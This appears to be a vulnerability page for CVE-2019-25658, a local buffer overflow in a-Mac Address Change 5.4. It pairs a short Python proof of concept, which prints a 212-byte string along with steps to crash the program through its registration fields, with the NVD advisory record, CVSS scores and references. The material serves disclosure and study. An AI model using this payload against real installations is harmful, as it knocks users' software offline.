CVE-2019-25658

# Proof of Concept for CVE-2019-25658 # This script generates the malicious payload to trigger the buffer overflow. # Payload length: 212 bytes def generate_payload(): # Creating a string of 212 'A' characters return "A" * 212 if __name__ == "__main__": payload = generate_payload() print(f"Generated Payload: {payload}") print("\nSteps to reproduce:") print("1. Open a-Mac Address Change 5.4.") print("2. Navigate to the Registration/About window.") print("3. Paste the generated payload into 'Your Name', 'Your Company', or 'Register Code'.") print("4. Click the 'Register' button.") print("5. The application should crash (Denial of Service).")

{"cve": {"id": "CVE-2019-25658", "sourceIdentifier": "[email protected]", "published": "2026-04-05T21:16:42.530", "lastModified": "2026-04-16T16:15:56.380", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "a-Mac Address Change 5.4 contains a local buffer overflow vulnerability that allows local attackers to crash the application by supplying oversized input to registration form fields. Attackers can paste 212 bytes of data into the 'Your Name', 'Your Company', or 'Register Code' fields and click the Register button to trigger a denial of service crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://amac.paqtool.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46292", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/a-mac-address-change-local-buffer-overflow-dos", "source": "[email protected]"}]}}